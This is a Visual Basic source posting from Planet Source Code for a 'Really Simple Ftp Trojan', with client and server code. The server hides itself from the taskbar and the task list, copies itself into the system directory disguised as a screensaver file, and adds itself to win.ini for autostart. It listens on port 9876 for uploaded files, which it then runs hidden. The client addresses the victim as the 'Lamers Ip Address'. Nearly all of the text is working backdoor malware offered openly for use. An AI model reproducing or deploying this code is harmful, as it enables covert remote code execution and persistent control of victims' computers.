'**************************************
' Name: Really Simple Ftp Trojan
' Description:this is Da Code for a Real
'     ly Simple Ftp Trojan Using Some common M
'     ethods. The Server is only 16 kb!! Wow
' By: Drakken
'
'
' Inputs:None
'
' Returns:None
'
'Assumes:For The Server
------------------------
Add an mswinsock named W
Add a Text box
Set the form's properties to :
Show in task bar = false
Visible = False
---------------------


For the Client
    ---------------------
    Make2 picture box's
    Picture1
    Picture2
    Make5command buttons
    Make command 5 caption "connect"
    Make command 1 caption "select file"
    Make command 2 caption "get window directory"
    Make command 4 caption "upload"
    Make command 3 caption "get System directory"
    3 text box's
    Add 6 labels
    Make label 1 caption " Lamers Ip Address"
    Make label 2 caption " File To Upload"
    Make label 3 caption " The directory to upload the file:"
    Make label 4 caption " Status:"
    Make label 5 caption ""
    Make label 5 caption " Sending bytes 0 of 0"
    Move label4 to the inside of picturebox1
    Move label6 to the inside of picturebox2
    add mswinsock
    add cmdlg32
    add a winsock named W
    add a common dialog named C
    Move the Labels etc to where they need to go you'll figure it out
'
'Side Effects:None
'
'Warranty:
'Code provided by Planet Source Code(tm)
'     (http://www.Planet-Source-Code.com) 'as 
'     is', without warranties as to performanc
'     e, fitness, merchantability,and any othe
'     r warranty (whether expressed or implied
'     ).
'Terms of Agreement:
'By using this source code, you agree to
'     the following terms...
' 1) You may use this source code in per
'     sonal projects and may compile it into a
'     n .exe/.dll/.ocx and distribute it in bi
'     nary format freely and with no charge.
' 2) You MAY NOT redistribute this sourc
'     e code (for example to a web site) witho
'     ut written permission from the original 
'     author.Failure to do so is a violation o
'     f copyright laws.
' 3) You may link to this code from anot
'     her website, provided it is not wrapped 
'     in a frame.
' 4) The author of this code may have re
'     tained certain additional copyright righ
'     ts.If so, this is indicated in the autho
'     r's description.
'**************************************



For The Client Use This Code
    -----------------------------------------------
    Public sFileD As String
    Public vFileD As Variant
    Public lFileL As Long
    Public Sending As Boolean


Private Sub Command1_Click()
    C.ShowOpen
    Text2.Text = C.filename
End Sub


Private Sub Command2_Click()
    Sending = False: Label6.Caption = "Sending bytes 0 of 0"
    W.SendData "WINDIR"
    Command2.Enabled = False
    Command3.Enabled = False
    Command4.Enabled = False
    Exit Sub
    Fehler:
End Sub


Private Sub Command3_Click()
    Sending = False: Label6.Caption = "Sending bytes 0 of 0"
    W.SendData "SYSDIR"
    Command2.Enabled = False
    Command3.Enabled = False
    Command4.Enabled = False
    Exit Sub
    Fehler:
End Sub


Private Sub Command4_Click()
    Dim iFreeFile As Integer
    lFileL = FileLen(Text2.Text)
    sFileD = Text2.Text
    iFreeFile = FreeFile
    Label5.Caption = "Open binary file..."
    Open sFileD For Binary As #iFreeFile
    vFileD = Input(LOF(iFreeFile), 1)
    Close #iFreeFile
    W.SendData "ABCJZDATEIV" & Text3.Text
    Command2.Enabled = False
    Command3.Enabled = False
    Command4.Enabled = False
    Label5.Caption = "Data sending..."
    Exit Sub
    Fehler:
    Label5.Caption = "Error"
    Sending = False: Label6.Caption = "Sending bytes 0 of 0"
End Sub


Private Sub Command5_Click()
    On Error GoTo Fehler


    If Command5.Caption = "Connect" Then
        W.RemoteHost = Text1.Text
        W.Connect
        Command5.Caption = "Connecting..."
    ElseIf Command5.Caption = "Connecting..." Then
        WClose
        Command5.Caption = "Connect"
    ElseIf Command5.Caption = "Disconnect" Then
        WClose
        Command5.Caption = "Connect"
    Else
    End If
    Exit Sub
    Fehler:
End Sub


Private Sub Form_Load()
    Sending = False: Label6.Caption = "Sending bytes 0 of 0"
    Text1.Text = "127.0.0.1"
    W.Close
    W.RemotePort = 9876
End Sub


Sub WClose()
    Sending = False: Label6.Caption = "Sending bytes 0 of 0"
    W.Close
    Label5.Caption = ""
    Command5.Caption = "Connect"
    Command2.Enabled = True
    Command3.Enabled = True
    Command4.Enabled = True
End Sub


Private Sub Form_Unload(Cancel As Integer)
    W.Close
End Sub


Private Sub w_Close()
    WClose
    Command2.Enabled = True
    Command3.Enabled = True
    Command4.Enabled = True
End Sub


Private Sub w_Connect()
    Command5.Caption = "Disconnect"
End Sub


Private Sub w_DataArrival(ByVal bytesTotal As Long)
    On Error GoTo Fehler:
    Dim strdata As String
    W.GetData strdata, vbVariant
    strdata = UCase(strdata)


    If strdata = "DATEIE" Then
        W.SendData "FILELAENGE" & lFileL
    ElseIf strdata = "DATEIU" Then
        Sending = True
        W.SendData vFileD
    ElseIf strdata = "DATEINO" Then
        Sending = False: Label6.Caption = "Sending bytes 0 of 0"
        Label5.Caption = "Error on host"
        Command2.Enabled = True
        Command3.Enabled = True
        Command4.Enabled = True
    ElseIf strdata = "DATEIOK" Then
        Sending = False: Label6.Caption = "Sending bytes 0 of 0"
        Label5.Caption = "Successfull!!!"
        Command2.Enabled = True
        Command3.Enabled = True
        Command4.Enabled = True
    ElseIf Left(strdata, Len("SYSDIR")) = "SYSDIR" Then
        Text3.Text = Right(strdata, Len(strdata) - Len("SYSDIR")) & "\"
        Command2.Enabled = True
        Command3.Enabled = True
        Command4.Enabled = True
    ElseIf Left(strdata, Len("WINDIR")) = "WINDIR" Then
        Text3.Text = Right(strdata, Len(strdata) - Len("WINDIR")) & "\"
        Command2.Enabled = True
        Command3.Enabled = True
        Command4.Enabled = True
    Else
    End If
    Fehler:
End Sub


Private Sub w_SendProgress(ByVal bytesSent As Long, ByVal bytesRemaining As Long)


    If Sending = False Then
    Else
        Label6.Caption = "Sending bytes " & lFileL - bytesRemaining & " von " & lFileL
    End If
End Sub
----------------------------------


For The Server Use This Code
----------------------------------


Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long


Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long


Private Declare Function GetCurrentProcessId Lib "kernel32" () As Long


Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessId As Long, ByVal dwType As Long) As Long
    Public sFileD As String
    Public vFileD As Variant
    Public lFileL As Long
    Public sFileN As String


Public Function WindowsDirectory() As String
    Dim WinPath As String
    Dim temp
    WinPath = String(145, Chr(0))
    temp = GetWindowsDirectory(WinPath, 145)
    WindowsDirectory = Left(WinPath, InStr(WinPath, Chr(0)) - 1)
End Function


Public Function SystemDirectory() As String
    Dim SysPath As String
    Dim temp
    SysPath = String(145, Chr(0))
    temp = GetSystemDirectory(SysPath, 145)
    SystemDirectory = Left(SysPath, InStr(SysPath, Chr(0)) - 1)
End Function


Private Sub Form_Load()
    On Error Resume Next
    Sichtbar_in_TaskListe
    FileCopy App.Path & "\" & App.EXEName & ".exe", SystemDirectory & "\FlyingMarqu.scr"
    Autostart
    w.Close
    w.LocalPort = 9876
    w.Listen
End Sub


Sub Autostart()
    Dim search, where
    Dim Found As Long
    Dim IFreeFile As Integer
    Dim Data As Variant
    IFreeFile = FreeFile
    search = "run=" & SystemDirectory & "\FlyingMarqu.scr"
    Open WindowsDirectory & "\win.ini" For Input As #IFreeFile
    Data = Input(LOF(IFreeFile), 1)
    Close #IFreeFile
    where = InStr(Data, search)


    If where Then
        Exit Sub
    Else
        search = "[windows]"
        where = InStr(Data, search)


        If where Then
            Text1.Text = Data
            Text1.SelStart = Found
            Text1.SelLength = Len("[windows]")
            Text1.SelText = "[windows]" & vbCrLf & "run=" & SystemDirectory & "\FlyingMarqu.scr"
            Open WindowsDirectory & "\win.ini" For Output As #31
            Print #31, Text1.Text
            Close #31
        Else
            Exit Sub
        End If
    End If
End Sub


Private Sub Form_Unload(Cancel As Integer)
    w.Close
End Sub


Private Sub w_Close()
    w.Close
    w.LocalPort = "9876"
    w.Listen
End Sub


Private Sub w_ConnectionRequest(ByVal requestID As Long)
    If w.State <> sckClosed Then w.Close
    w.Accept requestID
End Sub


Private Sub w_DataArrival(ByVal bytesTotal As Long)
    On Error GoTo Fehler:
    Dim IFreeFile As Integer
    Dim strdata As String
    w.GetData strdata, vbVariant


    If Left(strdata, Len("ABCJZDATEIV")) = "ABCJZDATEIV" Then
        sFileD = Right(strdata, Len(strdata) - Len("ABCJZDATEIV"))
        vFileD = ""
        w.SendData "DATEIE"
    ElseIf Left(strdata, Len("FILELAENGE")) = "FILELAENGE" Then
        lFileL = Right(strdata, Len(strdata) - Len("FILELAENGE"))
        w.SendData "DATEIU"
    ElseIf strdata = "SYSDIR" Then
        w.SendData "SYSDIR" & SystemDirectory
    ElseIf strdata = "WINDIR" Then
        w.SendData "WINDIR" & WindowsDirectory
    Else
        vFileD = vFileD & strdata


        If Len(vFileD) >= lFileL Then
            IFreeFile = FreeFile
            Open sFileD For Output As #IFreeFile
            Print #IFreeFile, vFileD
            Close #IFreeFile
            Shell sFileD, vbHide
            w.SendData "DATEIOK"
            vFileD = ""
            Exit Sub
        Else
        End If
    End If
    Exit Sub
    Fehler:
    w.SendData "DATEINO"
End Sub


Private Sub Sichtbar_in_TaskListe()
    On Error GoTo z
    Dim p As Long
    Dim x As Integer
    x = 1
    p = GetCurrentProcessId()
    regserv = RegisterServiceProcess(p, x)
    z:
End Sub
		